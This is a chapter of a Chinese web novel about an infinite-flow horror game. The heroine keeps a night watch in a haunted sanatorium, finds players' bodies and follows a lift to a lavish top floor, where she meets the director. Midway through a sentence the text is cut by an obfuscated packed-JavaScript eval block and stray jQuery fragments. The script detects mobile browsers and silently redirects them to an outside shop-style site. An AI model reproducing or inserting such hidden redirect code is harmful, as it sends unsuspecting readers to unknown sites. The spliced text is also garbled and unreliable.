15. 爱心疗养院(四)
作品:《当欧皇遇上无限流》 姜思尔抬起头看向那片吞没了男人身影的黑暗。
护士站幽绿的灯光依旧,照亮了这片方寸之地。
空荡荡的护士站里只剩姜思尔一个人,安静的像是什么都没有发生过一样,只有脚底那个玻璃药瓶昭示着刚才的一切。
姜思尔低头看着脚边的药瓶,把它装回了口袋里,一手撑着下巴,盯着不远处的黑暗,尽心尽力地“值班”。
值班室挂钟的时针缓缓走向十二点整,在快要接近时,远处那间关着玩家的病房发出了几声凄厉的惨叫。
姜思尔撑着下巴的手没有动,只是朝着病房那边看了一眼。
几声惨叫过去后,那间病房的门被人拍得啪啪作响,其中不时伴随着几声求救的呼声。
在时针指向十二点整时,病房里的声音就像是被隔绝了一样,戛然而止。
姜思尔眨了眨眼睛,继续维持着原来的姿势看着正前方。
在过了十二点之后,一晚上就再也没有出现任何奇怪的事情。
窗外的天色由浓重的墨色转换为雾蒙蒙的灰色。
护士站幽绿的灯光不知道什么时候已经自动熄灭了。
姜思尔坐了一晚上,身体已经有些僵硬,轻轻揉了揉酸痛的脖子。
“哒哒”的脚步声从姜思尔的身后传来。
姜思尔下意识转身看向声音的来源。
那名老护士从医院的门外走了进来。
在看到姜思尔的一瞬间,老护士脸上的表情明显僵硬了一下。
她快步走到护士站的窗口,将整张脸都凑到姜思尔的面前。
老护士脸上的皱纹都快挤成一团,浑浊的眼珠像是要从姜思尔的身上看出点什么来。
“你昨天一整晚都呆在这里吗?没看到什么人吗?”老护士将脸朝后退了一点,问道。
姜思尔抬眼,语气淡漠道:“是啊,一直在值班。”
老护士后退半步,脸上重新堆起一层僵硬的表情:“昨晚没发生什么奇怪的事吧。”
“没有,一切正常。”姜思尔看向老护士,脸上扬起一抹浅浅的笑容。
“正常就好,查完房,你就可以回休息室休息了。”老护士说着,就把一把钥匙扔给了姜思尔。
“好的。”姜思尔接过这串钥匙,笑着出了这座护士站。
老护士站在姜思尔的身后,面无表情地看着她。
姜思尔拿着这串钥匙,第一下就走到了关着沈旭阳他们的房间。
她站在门前,从门上的玻璃向里面看去。
昨天还算是干净的窗户玻璃,这会儿上面却像是被什么东西挡上了一样,看不清里面的情况。
姜思尔看着这扇窗户,皱着眉将钥匙插进了锁孔里面,轻轻一扭,病房门开了一条缝,里面像是有什么东西抵在门上。
一股臭味从门缝里传来,姜思尔朝着一边躲开。
一大团黑乎乎的东西把门压开,整个摔在了地上,一股恶臭味从这团黑色的东西上传来。
姜思尔捂着鼻子看向这团东西。
两具尸体堆叠在一起,身上的衣服被鲜血浸满,经过一夜的时间,这些鲜血已经干涸。
迈过地上的两具尸体,姜思尔朝着里面看去。
房间里已是一片狼藉,墙面上溅着不少发黑的血点,空气里满是腥臭味。
姜思尔朝着病房里的人看去,昨天挤在一块的玩家已经少了两个,应该就是那两具尸体。
沈旭阳看着姜思尔走了进来,捂着鼻子走到了她的身边,“昨天晚上房间里突然多出了几个发了疯的病人,朝着那两人就冲了过去。”
姜思尔扫过地上干涸的血迹,“突然出现?那两个发了疯的病人呢?”
“不知道,他们杀了这两人之后,就消失了。”沈旭阳看着姜思尔说道。
听到沈旭阳的话后,姜思尔朝着地上的两具尸体走去,蹲下身翻找了一下尸体衣服上的口袋。
果不其然,姜思尔在两人的口袋里都摸出了一颗被鲜血浸润的药片。
“他们没吃药。”姜思尔看着手里的这两颗药片说道。
“所以没吃药的人就会死,那这颗药是用来保命的?”沈旭阳同样看到了这两颗药片问道。
姜思尔站起身来,将药片随手揣进自己的口袋抬眼扫了一眼其他的玩家。
走廊里传来了几声脚步声。
老护士带着几名清洁工打扮的人到了门口。
那几名清洁工对着满室的血腥视若无睹,熟练地将地上两具尸体抬上担架。
老护士站在门口,那双眼睛盯着姜思尔,阴恻恻地开口道:“这里清理完了,你该去下一间了。”
姜思尔迎上她的目光,“我知道了。”
说完,姜思尔就从老护士的身侧出了门。
老护士在姜思尔离开后,在病房内环视一周,将一瓶同样的药片放在了地上。
做完这一切后,老护士就将门重新合上,锁了起来。
病房内剩下的几个新玩家在老护士离开之后,争先恐后地去抢夺那瓶药片。
一个小小的药瓶在几人的争夺下,很快就摔落在地上,瓶内的几颗药片在地上散落。
药片在肮脏的地板上弹了几下,滚得到处都是。
几个人像疯了一样扑在地上争抢。
或许是听到了姜思尔刚才和沈旭阳的对话,这几颗小小的药片已经成为了他们眼中的救命稻草。
沈旭阳和那两名老玩家站在稍远的地方,没凑上去静静地看着这一切。
姜思尔离开病房之后,按着顺序把这条走廊上的房间全部都看了一遍。
昨天还在不断发出声响的房间,今天把门都打开之后,里面却是空荡荡的一片,只有一股股年久失修的霉味。
姜思尔转身走出空无一人的病房。
一走出去,就看到了那几个清洁工抬着担架站在电梯前。
姜思尔脚步微顿,远远站在走廊一侧,静静看着那几名清洁工。
他们依旧面无表情,木偶一般地将两具尸体抬进狭小的电梯里。担架碰撞的闷响在空旷的楼道里回荡,没有一个人说话,连呼吸都轻得近乎不存在。
电梯门缓缓合上,将那一片死寂与血腥一同关在里面。
姜思尔在电梯门合上之后,就立马走了过去,看着电梯上的数字。
上面的数字非但没有往下跳,反而是一层层地往上跳,直到升到最高层才停了下来。
姜思尔盯着电梯面板上定格的最高层数字,眼底终于掠过一丝极淡的波澜。
不是地下,而是顶楼。
尸体为什么会被带上顶楼。
姜思尔心底那点疑惑刚浮起来,就被她飞快按
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210594|197062||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了下去。
她没有多加思考,伸手按上了电梯按键。
金属门安静滑开,里面还残留着淡淡的、混杂着消毒水与腐朽的气味。姜思尔目不斜视地走进去,转身,指尖稳稳落在顶楼的按键上。
在电梯缓缓上升的时候,姜思尔手腕上的手表突然发出了“叮”的响声。
姜思尔朝着手表看去,屏幕上面的那个直播开启的选项不知道什么被误触了,手表屏幕亮着,角落里那个小小的直播标识正在持续闪烁。
屏幕右上角,【直播已开启】的红色小字刺眼地跳动着,信号格满格,下方在线观看人数为零,只是偶然会有一两人误闯入这个直播间。
【这个副本好像没见过。】
【怎么又是新人。】
【这个玩家很眼熟唉。】
零零散散的弹幕不断在屏幕上划过。
姜思尔正思考着怎么关闭直播,但几乎是同一瞬——
电梯“叮”的一声,抵达顶楼。
姜思尔顾不得想那么多,她立马踏出电梯,整个人微微一怔。
她本以为顶楼会是和一楼一样阴冷破旧,可眼前的景象,完全超出了预料。
这里极其豪华。
大理石地面光可鉴人,水晶吊灯散发着柔和却冰冷的光,墙面贴着暗纹壁纸,连空气里都飘着一股淡淡的高级香薰味,彻底压过了血腥味和药味。
长长的绒布地毯从电梯口一直铺到最深处的双开大门,两旁摆着古董花瓶与油画,看上去更像富豪的顶层会所,而不是一家诡异医院的顶楼。
如果不是刚才亲眼看见尸体被抬上来,她几乎要以为自己走错了地方。
姜思尔微微蹙眉。
越是光鲜,底下藏的东西就越脏。
“很意外?”
身后传来一声淡笑。
昨天晚上见过的男人再次出现在了姜思尔的面前。
他已经换下了白大褂。
一身剪裁利落的深色西装,衬得肩宽腿长,气质冷冽又矜贵,没有半分医院里的温和,反倒像个掌控一切的上位者。
“喜欢这里吗?”沈院长走到姜思尔的身边,轻声问道。
姜思尔没有回头,目光依旧落在尽头那扇紧闭的雕花大门上,声音冷得像顶楼的空气:“不喜欢。”
“不喜欢就不喜欢吧,反正你会适应这里的。”沈院长轻抚着自己的衣袖笑着说道。
姜思尔没有回话。
她侧过脸,打量着男人的脸。
昨天光线昏暗时,这张脸就与之前副本的那个NPC十分相像,现在在光线明亮的状况下看去,姜思尔才发现了一点不同之处。
眼前的这个身形更加瘦削,脸庞也更幼嫩一点。
姜思尔的目光在他脸上停留了许久。
沈院长被她看得不恼反笑,微微侧过头,配合她的打量,声音轻缓:“盯着我的脸看了这么久,看出什么了?”
姜思尔收回目光,语气淡得没有一丝波澜,却字字清晰:“长得很像。”
空气静了一瞬。
顶楼的水晶灯在两人之间投下明明暗暗的光,照得他那张苍白的脸上半明半暗。
沈院长眼底的笑意深了几分,站直身体,慢条斯理地理了理西装袖口,语气带了几分期待:“听你这话,你见过和我很像的人了?”

